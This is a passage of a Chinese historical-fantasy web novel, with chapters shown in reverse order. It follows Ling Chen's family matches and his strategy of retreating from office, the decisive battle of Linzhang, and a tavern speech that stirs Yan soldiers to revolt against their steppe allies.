望着身边甜美可爱、自己看着长大的青樱,再瞅一眼跪在地上、不学无术的白千,凌晨的内心无比复杂,就像自己的掌上明珠被鬼火黄毛搂着肩膀吧唧一口,还甩来一张B超单子。 深呼吸了好几口,稳住心神后的凌晨勉强挤出一丝笑容,推着青樱的胳膊说道:“乖,先去找你姐,让我们师徒单独聊聊。” 青樱再次拉住凌晨的胳膊,左右摇晃着央求道:“姐夫……” “樱儿,你先去找师母吧,让我和师父单独待一会。” 青樱见白千和凌晨都这么说,只好满脸担忧的留下二人,一步三顾的进屋去找青柠了。 看到青樱进屋后,凌晨将手中的勺子一把扔在白千身上,他还是一如既往的硬气,躲都不带躲。 “你还有脸叫我师父,我哪敢做你师父啊,你才是我师父!说,什么时候勾搭上我妹妹的?!” “那日秋雨,跪在院门前求师父收我时,樱儿为徒弟撑伞,就……就已经心生爱慕。” 我尼玛…… 你才是大周的盗王之王,当今的盖世神偷啊!我在前面哼哧哼哧1V5,你在塔下吃我血包是吧? 生了一会气后,凌晨快步走到白千面前蹲了下来,一把揪住他的衣服,杀意浓烈的问道:“我问你,你跟樱儿……没发生什么吧?” “啊?师父是指……” “就是…你没欺负她吧??” 白千这才反应过来,立刻摇着头说道:“我们是真心相爱,发于情止于礼,绝对没有逾越之举。” 啧…… 这比杀了凌晨还难受,他要怎么跟二婶交代啊!别看自己现在是侯爷了,二婶要是真发起火来,估计也是照骂不误。 关键自己还理亏。 可看白千和青樱的样子,明显是互相满意的,宁拆十座庙,不毁一桩婚,棒打鸳鸯的事凌晨也做不出来。 好徒儿,真把师父当日本人整啊~ “跪着!” 恶狠狠的叫白千原地跪好后,凌晨连忙心虚的往屋子里走去,别说二婶了,青柠会不会怨自己还两说呢…… 一进门,他就看到三女齐刷刷的望向自己。 “相公,干嘛让小白大太阳底下跪着?你也不怕把他晒坏了,快叫他进到屋里来。” 青柠对着凌晨埋怨了一句后,拨开他亲自出去把白千扶了起来,拉着他进了屋子。 “二婶那……” “嗐~又不是什么坏事,小白如今也是相公的左膀右臂,管着开封城里的动物园,人又俊俏精明,年纪轻轻,日后还有大好的前程。他们郎有情妾有意,相公该高兴才是。” 话虽如此,可……心里总感觉那么不得劲呢? 青柠笑着说道:“方才我们姐妹三个也聊了一下,云姐姐愿意做我们的嫂子,樱儿也和小白两情相悦,这是我们刘家天大的喜事,往后大家更是亲上加亲了。” 啊? 凌晨望向有些害羞的青樱和一脸坦荡的小云,整个人麻了,一时间不知道该笑还是该哭。 丫鬟变嫂子,徒弟变妹夫。 这个世界太魔幻了…… 第75章 混吃等死 蝉鸣枝头,烈日当空,盛夏时节。 斧钺入耕田,偷的几日闲。 庭院中新修的凉亭里,凌晨穿着一身单衣,闭目躺在摇椅上,昏昏欲睡。 青柠在一旁轻摇画扇,捏起一颗葡萄放进他的嘴里,被酸味刺激了味蕾后,稍微清醒点的凌晨努着嘴“噗”的一声,将葡萄籽吐飞出去。 “相公。” “嗯?” “侯是多大的爵位啊?” “嗯……”凌晨想了想后,伸出手捏了捏青柠的脸蛋,笑着说道: “很大了,再往上面就是公爵。” 青柠给自己扇了扇风后,又把画扇伸到凌晨耳畔轻扑,掀起阵阵凉风。 “相公做了什么让朝廷给你封侯爵呢?哥哥也才是个子爵,好像比你低好多,昨天吃饭时还向我抱怨呢,说朝廷给他封的低了。” 无奈的摇了摇头后,凌晨随意的答道:“也没干啥,就是帮大人推了一把,我也没想到他会上表给我进侯爵,原本我猜着是伯爵的。” “既然相公内心想帮大人,为什么三年前不在他帐下效力,而要选择回到家里来呢?那时只要你说,我大抵也会随你去汝南。而且……相公既然无意追随大人,为什么后来又转而为他效力呢?” 呦? 凌晨看着自家傻媳妇萌萌的思考状,真想对她说一句“后宫不得干政”。 不过,往后她肯定少不得要与文家女眷,或者其他贵族女眷打交道,也是该跟她解释解释,传授一下人情世故和江湖经验,免得在那帮勾心斗角、去母留子的狠角色面前上当受骗。 凌晨从摇椅上坐了起来,从一旁拿过来自己的蒲扇,“呼呼”扇着向娘子答疑解惑起来。 “当初啊,我确实救了文公的性命,他们也确实是诚心想招揽我。但娘子你要知道,人跟人的交往不是全凭感情的,哪怕是救命之恩,也会随着时间的推移而逐渐淡去。 要想真正和文家长久相处,获得他们的尊重,还是要靠实力!而且必须是一种他们拒绝不了的实力。我是有几招三脚猫的功夫,但这还远远不够,文家是军旅世家,不缺武将。 我回到家里后,团结一切可以团结的力量,从望云镇,到临颍县,再到整个颍川府。一步一个脚印苦心经营,两年磨一剑,终于厚积薄发,用那个什么赵世中的脑袋向文家证明了自己的价值。 如今哥哥统领着全部颍川乡军,我们夫妻二人又于臣鹤兄、莺儿嫂子有再造之恩,关系紧密。为夫此次北上,还结交了几位新朋友,这个怎么形容呢…… 以前我是朵好看的花,文家想装进盆里养在家中。现在我是棵大树,树根深深的扎在土地里,他们拒绝不了我结出的果实。 而且,这时候的我,可不是那么好拔出来的,就算费力拔出来,也要面对一片狼藉,况且我倒下时,还有可能砸到他家。” 青柠听的眉黛微皱,仔细品味着凌晨说的话,显然是受到了很大的冲击。 因为太赤裸裸了。 凌晨也不着急,静静的给她扇着风,欣赏着媳妇若有所思的模样。这是关乎家族兴衰荣辱的大事,她没有着急反驳或者疑惑,而是慢慢品味其中的道理。 “相公……从三年前就开始谋划今天的事了么?” “对啊。” “那,今天的相公,是不是也已经谋划好了三年后的事?” 凌晨没有说话,只是对着青柠微笑不语。青柠望着眼前的丈夫,突然觉得有点陌生。 她作为枕边人,竟然没有看懂、也看不懂他。 凌晨伸出手,温柔的捏着她的下巴说道:“你干嘛这副呆呆的表情,我做的一切都是为了你,为了我们的小家。” 青柠怯怯说道:“可相公刚才不是还在说,连救命之恩都会随着时间淡化吗?” 凌晨思考着说道:“是的,不过我们之间是另一种感情,和其他任何交情都不一样。” 你是一轮皎洁无瑕的明月,永远高挂在无垠的天穹之上,不会随着时间的推移而发生变化。即使岁月会模糊记忆,即使时光会悄然远去,我依然记得那年从征时,你倚门出望,眸中不舍的泪光。 那道泪光穿越了茫茫人海,穿越了似水流年,永远留在了我的心底。 青柠被凌晨深情的目光盯得有些不好意思,心中甜蜜,露出一丝略带幸福的羞涩后,似乎是又想起了什么,开口问道: “对了相公,那你为什么又要辞去团练的官职啊?我们不是要变成大树吗?” “傻丫头,因为我已经是侯爵了呀~我才二十出头,要是不小心又立了功劳,封公、封王,到最后封无可封怎么办?再不混吃等死,就只有等死了。” 青柠微张着小嘴望向凌晨,眼中只剩下惊讶。 身未升腾思退步,功成应忆去时言。 年纪轻轻就立下不世之功,不是什么好兆头,爽是爽了,可在皇帝眼里是什么样子? 亲戚家的孩子八岁就被北京大学破格录取,而你的孩子十岁了还在忙着集烟卡,哭着让累了一天、还被上司屌了一顿的你给他充新出的枪皮。 摸着你的良心告诉我,你能心平气和吗? 这还是在没有竞争关系的情况下,如果是在朝堂,皇帝看你都是先从脖子开始打量的。因为放眼望去,能压住你的全是些老家伙,甚至老家伙里能压住你的都不多。 那么, 他们死后,怎么办? 雄主不会拿王朝基业去赌你的忠心,所以你也别拿全家人头去赌君王的胸襟。 况且,也该享受享受生活了。打仗什么的,又危险又辛苦,风里来雨里去,还容易得创伤性应激障碍,产生心理问题,谁家好人喜欢砍人啊? 当然,我就这么一说,你别真把脖子伸过来。我可不是青面兽,没工夫和你闲聊。 “对了相公,还有件事我想跟你商量一下。” 回过神后,凌晨重新躺在了摇椅上,悠哉悠哉的扇着蒲扇说道:“商量?我们还有啥商量的,家里的事你说了算,只要别上房揭瓦就行。实在想揭的话,提前跟我说一声,免得为夫回来没地睡。” “哎呀~相公你认真点,我说的是大事。” “好好好~”凌晨躺着朝青柠作揖道:“娘子还请说来~” 嫌弃的拍了一把凌晨的手后,青柠朝着四周望了望,凑到他耳边悄悄说道: “哥哥年纪不小了,旁人像他这么大的,孩子都能帮家里干活了。以前是穷、忙,现在日子好起来了,我寻思着,也该给他找个能照顾起居的人了。” “哈~~” 张着嘴舒舒服服的打了个哈欠后,凌晨满不在乎的说道:“照顾起居还不简单?买两个丫鬟不就得了。” “相公!” 见青柠真的有些恼了,凌晨这才咳咳两声,正经的和她讨论起这个问题。 “那怎么搞?我去找个媒婆给咱哥问问?” “不……旁的我信不过,万一性子不好,怕是家里要鸡飞狗跳。” 嗯? 凌晨疑惑的望向青柠:“那娘子的意思是……” “我想去问问小云,看看她愿不愿意,要是她愿意的话,就这么着。” 啊?? 这下轮到凌晨震惊了,或许是刻板印象吧,反正在他看来,小云那样温婉的江南茉莉,应该配个摇着折扇的才子,最不济也该是个羽扇纶巾的儒将,大舅哥…… 不是说大舅哥不好,只是,有点不太搭啊!小云那小身板,遭得住吗?? “那……那娘子就去问吧,只是注意措辞,别让她觉得你是在以势压人。跟她说清楚,要是内心不愿意,可千万别将就。” 青柠点着头说道:“嗯,这我自然知道。我只是怕相公反对,一旦成了,她就是你我的嫂子了。” “昂~这个呀~” 凌晨摆着手说道:“我没有那些身份上的讲究,只要小云乐意就行。哎不对,咱哥同意了么??” 青柠摇着头说道:“还没呢,我打算先问过小云,再去跟哥哥说。” “嗯,咱哥的意见也很重要,你有这个心当然好,但可别傻乎乎的强扭。” “嗯,放心吧。” —— 冯延对于凌晨不爱做官的奇葩脑回路已经彻底免疫了,爱干嘛干嘛去,只要别给自己整活就谢天谢地了。 所以对于凌晨提出的在开封城四门腾出几块地,用来停放各地新贵和入京士绅的行李,再分散到城中各处的建议,直接闭着眼睛就答应了。 因为城里的路虽然宽,却容纳不下全国各地的车马挤在一起走。由官府出面按进城顺序替他们搬运是最好的选择,一来不影响城内交通,二来本地人熟悉城里,运送起来也更快,效率更高。 当然了,干活的人员得由凌晨招揽,既能给一些人活路、降低犯罪率,也能顺带吃点官府回扣。 有很多不知情的商人和牙行找上冯延,给他送钱送礼,想让他通融通融,由他们来负责这项事务。不好让他们知道这事已经包给凌晨的冯延只好板起脸来,挥袖怒斥道: “开封府尹不跟任何商人做交易!” —— “老二,你成亲时我在河北忙,都没来得及喝上喜酒,需要钱跟我说就行了,干嘛还要我给你介绍活计?” 南城大街上,凌晨和解二走在石板路畔,摆手拒绝了街边酒楼店小二递过来的宣传自家菜品的麻纸。 “公子,这次成亲姑娘已经给了一百两,我哪能再找你们要啊……” 凌晨不满的斜眼瞥向解二:“生分了嗷~又没急着让你还,你怕个毛?” 解二腼腆的搓着手笑道:“话虽如此,我还是想趁着闲暇时挣点银子,好早点还上,也有闲钱给孩子买点肉食,给婆娘扯两尺布料……” 啧啧啧~ 生活的重担终究还是压垮了解二的脊梁,临颍地界横行乡里的泼皮,下蔡衙门傲视群雄的猛人,竟然也被迫出来打零工,真是令人唏嘘。 “对了,小白呢?我回来这么久了,怎么没看到他?” 提起白千,解二的面色更古怪了,纠结了一会后,支支吾吾的说道:“他回临颍了。” 凌晨疑惑的看向解二:“嗯?回临颍就回呗,你干嘛这副表情?他回去干嘛去了?” “这……公子,你还是等他回来,亲自问他吧。” 啊? 凌晨听的满头问号,不过现在的解二应该不会骗自己,有事肯定也不敢瞒着自己,他不说,估计确实是不好开口。 那就算了,等白千回来了再问吧。 “公子,你说的这个替大户人家搬运行李的活,真的是一天一两银子吗?没有活了还能休息?” “废话,我骗你干嘛?” 解二嘿嘿笑道:“我就是有点不敢相信,世上还有这好事。” 听到这话,凌晨同情的看了他一眼,还是太年轻了啊~ 说话间,二人已经来到了南城门专门腾出来的空场上。解二望着门口两个威武霸气的高大石狮,感慨不已的叹道: “咱们颍川人也算阔起来了,一个临时用来停行李的地方,竟然也摆上了看门狮子。” “想多了~” 凌晨拍了拍解二的肩膀,笑着对他说道:“那是人家停在这里的行李,也是接下来你要搬的货物。” “啊???” 进了院门后,到处都是拿着木牌草笺穿梭在人堆里的半大小子和赤膊汉子,许多账房先生、落魄书生模样的人正在左手拨着算盘,右手提笔挥字。 整个现场热火朝天,忙的不可开交,所有人都是满头大汗,行色匆匆。 院子只留着三边房子,除了临街这边之外,其他三面墙都被拆了,放眼望去全是堆积如山的货物。其中不乏假山雨石、名贵木料、比人还高的彩釉花瓶、青瓷水缸、青铜香鼎、成堆的窑砖、雕花大橱柜等等等…… 凌晨搂住目瞪口呆的解二,指着面前的座座小山说道: “这里有穷困潦倒的赌徒、为爱痴狂的情种、卧冰求鲤的孝子、老实巴交的庄户,可就是没有懦夫软蛋~” 说罢,凌晨走到一旁同管事的知会了一声,从他手里接过一个牌子塞到了解二怀里,拍着他的肩膀说道: “我已经走关系让他们给你加到一天二两了,加油哦!” 第74章 曲终人罢 时来天地皆同力,运去英雄不自由。 以前的卢龙军指定是有些奇怪Buff加持的,或者可能驻扎的地方风水不好,像是被什么东西诅咒过一样。凡是在那里干过的,都命运多舛。倒霉的王臣鹤三起三落,可怜的应开疆也是如此。 起兵南下、被打回去,反攻回来,现在又出事了。 鸡城哗变的消息如同晚春柳絮般飘散开来,在极短的时间内就让河北四府境内大乱。 因为田楷打出的口号不是要干掉应开疆,而是要替应开疆驱除胡虏。 和孙芝去年的“清君侧”有异曲同工之妙。 自古以来,老百姓天生就对造反比较敏感,不上学也知道这么干是要被杀头的。不到万不得已、活不下去,他们是不会揭竿而起的。 但如果只让他们弄死突厥和契丹人,并且当地官府或者地主老爷还主动号召大家,给予法理上的支持,那就是一呼百应。 真定知府刘理衙、沧州知府严文跃同时宣布响应田楷,下令驱逐留守在他们治下的胡马。怎么驱逐我不管,反正我出门看不到就行了。 幽州知府和冀州知府是应开疆的心腹,不想在这种关键时刻拆应开疆的台,但这也意味着他们要面临巨大的压力。 人家别的地方都在轰轰烈烈的收拾草原蛮子,你为什么不这么干? 你很喜欢当狗吗? 鸡城哗变只是个引子,百姓不满胡人肆虐也并不是主要原因。真正的原因是,河北诸府的士绅贵族,已经失去了信心。 在短短两年之内,他们先是和大周禁军开战,紧接着又和孙芝交战,根本没有喘过气。卢龙军原来的精锐老卒已经所剩无几,数十年来所积攒的钱粮也快见底了,而应开疆又没能在京畿府快速击败文训,反而进入了僵持状态。 不能再打下去了。 失去了统治基础的应开疆,连手底下的燕军都有些指挥不动,任泽守将被手下士兵所杀,巨鹿守将为了活命,做出了和田楷一模一样的选择。 当初他饮鸩止渴,放草原人入关的回旋镖,终究还是正中眉心。无奈之下,他只能病急乱投医,在各种局面都不利于自己的情况下,和文训展开决战。 这也是他最后的机会了。 胜,尚可存续。 败,必死无疑。 靖安二年五月十九,临漳。 文训一身甲胄立在马上,劲风吹起肩后披风,猎猎作响,双龙兜鍪在阳光下闪烁着耀眼金光,胯下龙驹全身赤红披甲,只露双眼。 冯延、刘青山、江淮军诸将、中原各镇知府、守将全都在他身后一字排开,再往后,是一眼望不到边的北伐大军,车弓马步兵种俱全。 应开疆手握长刀,亦是浑身黑甲,被风沙吹得眯起眼睛。胯下宝马通体乌黑,唯有四蹄雪白,正在不安喷鼻。 突厥可汗乞力屋,契丹可汗耶律弧,燕军诸将、太守和草原骑兵各部首领全都分列在他两侧,燕军步卒在中军,草原骑兵分列两翼。 寒刃如林,风卷狂沙。 文训闭着双眼,脑海里浮现出《万里山河图》上的每一处城池、每一道河流、每一座山峦。 深吸了一口气后,他缓缓睁开虎目望向对面,伸手从腰间抽出宝剑,高举着指向天空—— “众将听令!除贼灭夷,荡平天下!杀!” 随着他的宝剑落下,数员猛将挥舞着手中的兵器策马出阵,身后万箭齐发! “杀——” 远处的应开疆紧握着长刀,亲自带头一马当先!大军紧随其后,草原骑兵挥舞着弯刀,怪叫着向两边散去,巨大的火球从后军阵地飞起,如同流星一般撞在了乌云般的箭雨中! 两军相接的一刹那,血雾弥漫、四肢乱飞!不断有人从马上跌落,顷刻间被踏为肉泥,刀剑刺破血肉之躯,大斧劈碎铁锁链甲,抡圆了的巨锤和钢枪相撞,擦出白日火花! 杀声震天,惨叫连连,血水模糊了视野,怒喝颤出了耳鸣。这一刻,所有人心无旁骛,没有任何思考、没有任何感情。 认清楚衣服,不断挥舞兵器,直到眼前空无一人。 草原骑兵围绕在战场两边游射,江淮车兵在两车之间绑起铁锁,齐头并进,绊倒无数弓骑;临颍乡军举着铁皮盾牌边推边刺,燕军长斧兵不断举起落下,砍翻躲在盾后的士卒。 弓矢如雨,穿透无数人的脖颈、两颊、手背、足面。火石天降,砸碎整齐的防御阵形,不断有火人挣扎惨叫着翻滚奔逃。 乱军之中,双方将领各自使出浑身解数,能征善战的汉家骁将被巨锤砸中兜鍪,口鼻喷血跌落马下;壮如铁塔的草原雄鹰被长枪洞穿胸口,血流如注染红黄沙。 黑烟滚滚升腾而起,遮蔽了万里晴空,巨大的喊杀声响彻云霄,隔着数里之外都能听的真真切切。 双方从早上一直血战到黄昏,文训和应开疆都没有要停止的意思,契丹可汗耶律弧怕了。 此次南下,他带了四万部众,如今只剩下了一万多骑,应开疆是生死悬于一线,不得不以命相搏。但他还有退路,大不了回去休养几年再卷土重来,不能真交代在这里。 草原上可不只有他一家,人马拼光了,回去之后怎么办? 鬼方和突厥跟自己一样损失惨重,敕勒部和云中节度使打的也很激烈,都不用担心。 可是高车、靺鞨两部都在养精蓄锐,没有参与战争,万一让他们知道契丹部精锐尽丧,那还得了!! 望了一眼尸骸遍野的战场后,耶律弧咬了咬牙,率领部下骑兵突然撤离战场,往北逃去。 他这一走,突厥可汗乞力屋也不干了,谁都不是傻子。 于是,他也率领残部扭头就走。 应开疆砍翻一名敌军将领后,抬起头望着空荡荡的两翼,一颗心坠入了谷底,哇凉哇凉的,连骂人的力气都没有了。 燕军看到两翼骑兵外援突然撤退了,惊慌失措,瞬间阵型大乱,纷纷往后争相奔逃!后军已成溃败之势,监军部队追着砍杀都止不住,甚至连他们自己都被溃兵冲乱了。 负责投石车的部队和弓兵营都受到了波及和冲击,无法给前方正在厮杀的同袍提供远程支援。 文训见状立刻抓住时机,亲自率领中军主力参战!军中诸将个个奋力向前,从不同的方向涌向应开疆的大旗。 “陛下快走,我等为陛下挡住敌军!” “撤吧!陛下!” “快护送陛下离开大旗,莫要迟疑!” 应开疆浑身浴血,双目喷火望向无数人头攒动的战场,握拳捶胸,满心不甘的大吼道:“夷贼误我!!” 幽州太守葛冉情急之下扯过应开疆胯下坐骑的缰绳,将它递到一旁亲卫将领手中,急切的说道:“快带陛下走!褪去龙袍衣甲,速回幽州,切莫在冀州府停留!!” 应开疆垂头丧气的叹道:“此役一败,已无力回天……” “陛下!!!” 葛冉突然暴喝,把应开疆和周围的亲卫将领们全都喝的神色一怔。 “胜败乃兵家常事,陛下久经战阵,岂能因一战失利而垂头丧气!我军虽败,幽州尚在!孙芝、韩珏在西,江南还有李雄,鹿死谁手,尚未可知!!” 应开疆无奈叹道:“文训必不放我……” “我来为陛下挡住他们,快走!再不走就来不及了!!” 葛冉扯着应开疆的胳膊将他推转方向,抽出腰间的剑就刺在了他的坐骑屁股上,马儿吃痛,扬起蹄子狂奔! “不!须明!不可……” —— 随着应开疆的撤离,燕军已经彻底失去了抵抗的能力,中原各部齐头并进,一直追杀到天黑,葛冉带着忠于应开疆的燕军精锐围着大旗与敌厮杀,直到他们或死或降,场上剩下自己一人。 葛冉提剑扶旗,面对围拢成一圈的江淮军,面色平静。 火把迎风烈烈,文训在亲卫的保护下策马来到旗下,他先是抬头看了一眼“燕”字大旗,长出了一口气后,将目光移向葛冉。 “降了吧。” 葛冉没有说话,摇了摇头。 文训低下头沉默了一会后,开口问道:“还有什么话要说吗?” “劳烦文公,将我尸身送归故里。” 文训面色复杂的看了葛冉一眼,闭上眼睛再次点头。 “多谢。” 向着文训行了一礼后,葛冉面不改色的将手中宝剑反手架在了自己的脖子上,双手握住把柄,没有丝毫迟疑,用力一抹。 “置于上等棺木,遣人送归幽州。” “是。” “传令下去,各营奋力追赶,捉拿应贼!生擒者赏金一千,老夫亲自上表为他封爵;得其首级者亦赏金一千,官升三级,文不下典,武不下校!” “是!!” —— 这场你方唱罢我登台的大戏,终于落下了帷幕。江淮节度使文训率领勤王之师,在临漳之战中击败了反贼应开疆的叛军,大军趁势北上,真定、沧州两府及其治下望风而降。 冀州知府罗湘率众抵抗,却被手下部将偷开城门,引得周军入城,罗湘在府衙大堂里堆满柴火,遣散官吏后,站在堂中亲自点燃了熊熊烈火。 六月,周军兵临幽州城下。 凌晨带着吕齐和文训会合,得到了文训的许诺后,吕家人打开城门,恭迎王师入城,应开疆被迫携残部死士逃往辽东,燕云边关诸将皆降。 这下,孙芝尴尬了。 周帝在他手里,可是凭他现在的实力,显然是命令不了文训的,完全是块烫手山芋。 但他又不能把周帝丢给文训,那样一来,对方就有无数个理由讨伐自己了。 好像……自己一直在面临着两难的选择。 幸运的是,文训刚刚平定了河北,眼下还有一大堆事情要处理,应该不会立刻就来请陛下还于旧都,还有斡旋的余地。 于是,孙芝连忙以周帝的名义送去许多金银绢缎,犒赏三军将士。 江淮节度使文训,驱除鞑虏、剿灭逆贼,立下不世奇功,加封为太尉、郑公、尚书左仆射兼兵部尚书。 参与勤王的将士、官吏,归降朝廷的知府都受到了嘉奖,而凌晨也从男爵混成了侯爵,连跳两级。 这位破格进爵的临颍侯,受到了来自各方势力的关注。 因为此次北伐战争中,他并没有出现在前线战场,而本该由他主导的开封保卫战,也是颍川别驾张承指挥的,只有极个别人查到在鸡城哗变中,似乎有他的身影。 可即便没有他,应开疆的胜算也不如文训,河北到处都是叛乱,也不…… 好像鸡城哗变是比其他叛乱影响大点,但那也是大势所趋,他最多就起到推波助澜的作用而已,男爵跳侯爵,有点离谱了。 因为侯爵再往上,就是公爵。 而他才二十出头。 很少会有二十岁的侯爵,除非是继承了父辈的爵位,但是大家一查,发现凌晨三年前还是个流民。 三年时间,从流民升到侯爵,这是什么概念? 别说祖坟冒青烟了,祖坟喷岩浆都不行。 也有人查到他救过文训的命,并且与文家关系匪浅。但是很多大佬都清楚,文训不是一个凭喜好做事的人,他一直非常冷静。 这就意味着,这位临颍侯无论是功绩还是实力,都足以封侯。 统一了中原后,文训的办公地点不能放在汝南府了。他上表周帝,言说邺城已经残破,不宜再做都城,准备扩地建城,改开封为汴京。 颍川知府冯延升为京兆尹,颍川乡军将领刘青山升为骑都尉,负责新都的建造工程。 这一举动的背后,有着很深远的政治考量。 其一,为了更好的控制河北、关东诸府。 其二,颍川集团在文训称霸中原的过程中,立下了汗马功劳,无论是钱粮供应还是派兵作战,都是出了全力的,比江淮士族还要卖力。 其三,这里离洛阳很近,洛阳北边是孙芝,西边是韩珏。以这里作为京城,就有理由大规模屯兵,随时可以对他们发动进攻。 其四,由于这几年不断的吸纳外来人口,又少有战火侵蚀,现在的颍川府人口众多,经济繁荣,是最适合做都城的地区,唯一要担心的只有水患问题。 其五,定都这里,能让文训在与江淮士族的相处中占据主导地位,至少不用再完全依赖他们。 这是个精细活,急了容易重蹈大周的覆辙,和原始股东反目成仇;缓了无法及时笼络河北、关东等地的人心,稳定不了局势。 但如果想一统天下,就必须这么做。 打天下难,守天下只会更难。 不过,这都是老文应得的,欲戴王冠、必承其重嘛~ 凌晨已经在策马回乡的路上了,欢快的歌声飘扬在旷野之中—— “若是万里同风,天地为仁,我愿做闲人~” 第73章 鸡城之声 鸡城县的酒肆里,聚集了很多负责守卫粮草的士兵,他们有的来自真定、有的来自代郡、有的来自沧州、有的来自冀州,当然,幽州籍贯的最多。 这群人三三两两的聚在一起借酒消愁。 作为能被派来负责看护粮草重任的军队,毫无疑问,他们是应开疆的嫡系。但即便如此,也很难从他们的脸上看到轻松和惬意的表情。 曾经的世仇,如今就在外面的大街上,他们骚扰良家妇女,踢翻货郎小摊,围住风烛残年的老人嬉笑吓唬,连路过的狗都要踹上一脚。 而昨日家书寄来,父母、妻子在信中说,他们的家乡也在经历着同样的事。 “砰!!” 一个军士怒而摔杯,正欲出门阻止两个突厥士兵殴打保护自己娘子的男人,却被他一旁的两个人拽着胳膊拦住了。 “莫要生事!我们现在惹不起他们……” “是啊,前些日子北营有个兄弟就是一时冲动上了手,结果被监军营吊在营门前,挂了整整两天!” 那军士怒容满面,挣扎良久后又坐了下来,眼睁睁的看着那名男子被打的满头是血,倒地不起。 “唉!” 他悲愤的别过头去不忍再看,满座七尺汉,敢怒不敢言。 自己的家乡,也在经历着这种事,不知道父母妻儿怎么样了,万一他们也受了这样的欺负,可有人保护他们?? 就在这时,窗外突然传来突厥人的辱骂声,酒肆里的众人纷纷朝着外面望去,只见两个行商模样的汉子推着独轮车,不小心摔倒在他们中间,货物散了一地。 突厥人似乎是喝醉了,被货物砸到脚后勃然大怒,骂骂咧咧的就要朝着那两个汉子挥刀相向,所有人的心都提到了嗓子眼。 那两个汉子似乎也知道自己闯了大祸,脸色惊慌的跪下来朝着突厥人求饶,谁料对方还是不依不饶的要砍死他们! 出于本能,他们急忙连滚带爬的向远处跑去,突厥人也摇摇晃晃的追进了巷子。 就在这时,又有两个年轻人跑了过去,将倒地的男子扶起,那女子连忙止住哭泣,从他们手里将相公接了过去,千恩万谢后就转头往家里跑。 “哎!小兄弟,快进来!!” 酒肆里的军士们立刻朝着凌晨和吕齐招手,示意他们进来躲躲。二人才刚进来,就有监军营和突厥人出现在了他们刚才站立的地方。 几个军士将凌晨和吕齐按在自己桌前,若无其事的继续喝着酒,所有人都默契的没有出声,那些监军营的士卒和突厥人左右望了望之后,分散追进了小巷子里。 “娘的,这帮畜牲!你们看监军营的那副奴才相,真是丢尽了我们的脸!” “唉,你当他们愿意,不也是没办法……” “唉……这样下去可怎么办呀……” 沉闷的气氛充斥着整个酒肆,有人义愤填膺,有人摇头叹息,有人事不关己,也有人猛灌热酒。 坐在吕齐旁边的那个燕军汉子拍着他的肩膀说道:“小兄弟可以啊,看你年纪不大,这都敢出手帮忙,你不知道被抓住是会受牵连的吗?” 吕齐叹着气说道:“军爷,这我当然知道,我也怕的要死……可我不能眼睁睁的看着咱们河北的父老乡亲被异族人欺负啊!” “……” 吕齐的话将满屋子的人干沉默了,他们是军人,保家卫国是刻在骨子里的职责。而现在,居然只敢缩在酒肆里观望,还不如一个老百姓家的小子…… 但凡有点气性的,羞愧的都快要坐不下去了。 “小兄弟是本地人?” “不是,我是幽州人。” 听到吕齐说自己是幽州人,在场的许多人望向他的目光就柔和了起来,因为他们大部分都是幽州人。 坐在他们同桌对面的、先前怒而起身的那个军汉满怀欣慰的说道:“不愧是我们幽州的男人,你比我们强!来,陪哥哥喝一碗!” 吕齐腼腆的嘿嘿一笑,连忙端起陶碗双手捧着和那汉子碰酒。 “你家是幽州哪的?” “我们家祖籍易县,现在住在幽州城里面。” “哦!你是易县的?我也是易县的,我家在东林镇。”隔壁桌有位大叔惊喜的望着吕齐,激动的说道。 吕齐也惊讶的看向对方:“我家祖屋在北乡镇!跟东林就隔着八九里路!” “哎呀!真是我家乡的娃娃啊!” 那老兵激动的立刻就端着酒碗走了过来,与吕齐和凌晨坐在了同一桌,热络的闲聊了起来。 吕齐本来就是个碎嘴子,三两句就跟这群远征人打成一片拉起了家常,期间还有人问吕齐成亲没,没成亲就把自己女儿嫁给他,惹的众人哈哈大笑。 吕齐笑着摆手拒绝后,看向手中的酒碗,回想着凌晨教过自己的话后,深吸了一口气,抿了抿嘴,止住了笑容。 同桌的军士们见他突然变了脸色,面面相觑,不知道他怎么了。 “我总觉得……我们不该是现在这个样子。” —— 原本撑着窗户的竹竿被放了下来,酒肆的大门也被合上了,似乎是因为生意冷淡打了烊,可当人们靠近路过时,却隐隐能听到里面传来喧嚷的声音。 “我们最大的问题,就是漠不关心,我们不关心别人的父母妻儿,也没有人关心我们的父母妻儿,所以才会像今天这样。” “不要小看敌人,它们很强大,比我们强大!我说的不是晋阳军或者江淮军,我们的敌人就在我们身边。 契丹人、突厥人、还有那些跟丧家之犬一样的鬼方人。他们来到我们世世代代生活的土地上,抢夺我们的财物,奸淫我们的姊妹,杀害我们的孩子!” “他们之中谁最肮脏?最贪婪最可恨?谁是我们正在被战火燃烧的家乡的罪魁祸首??” “当然是契丹人!!” “不,是突厥人!!” “不,应该是鬼方人!他娘的,在南边被颍川人杀的丢盔弃甲,就剩下几个散兵游勇,竟然还敢在我们的地盘上欺负我们!!” 站在酒肆柜台上的吕齐,伸手示意群情激奋的军士们安静下来,就在这时,有个尖嘴猴腮的家伙趁机质问起来: “小子!你在这里蛊惑人心,是想蓄意谋反吗?!” 吕齐扬起脸看向他,众人齐齐望向吕齐。 “是的,我就是要谋反。” 听到吕死居然敢在大庭广众之下说出这种话,在场的所有人都露出了惊诧的表情,有些不淡定的人甚至都站了起来。 吕齐不慌不忙的扫视着在场的每一个人,平静的说道: “如果,你说的谋反,是指保护我们的爹娘、姊妹、妻女不被那些异族侮辱欺凌,保护我们的庄稼地不受异族铁蹄的践踏,保护供奉着我们祖先的祠堂不被他们烧毁,那我就谋这个反了。” “好!” “说得好!” 那人见满屋子的人都在附和,瞬间就不淡定了,拍案而起指着吕齐怒骂道:“现在是两军交战的关键时刻,陛下也是不得已才引草原三部入关,你还嫌不够乱吗?!” 吕齐皱着眉毛望向他,难以置信的问道:“你担心把事情闹大?” “我是从幽州赶来这里运商的,你知道幽州现在一个馒头多少钱吗?”他伸出手掌,将五个指头齐齐张开: “五千文,一个馒头五千文,这些钱串起来连一个大男人都拿不动!而你居然还在担心把事情闹大!他们杀害我们的父老乡亲时,你怎么不觉得事情大?!” “我不会让他们回到草原的,我们都不会。我们要砍死每一个契丹人!我们要把突厥人的头塞进茅坑里!我们要让鬼方人血债血偿!” 整个酒肆只能听到捶桌子、摔酒碗的声音,只能看到士卒们的积压已久的愤怒和深以为然的重重点头! “我们必须清除这些害虫!我们必须制止这场瘟疫!我们迟早有一天会被埋进家乡的黄土里,但我们今天说过的话,将会流传后世,一千年!一万年!!” “嗷——” “呀!!” “喔喔喔~~” 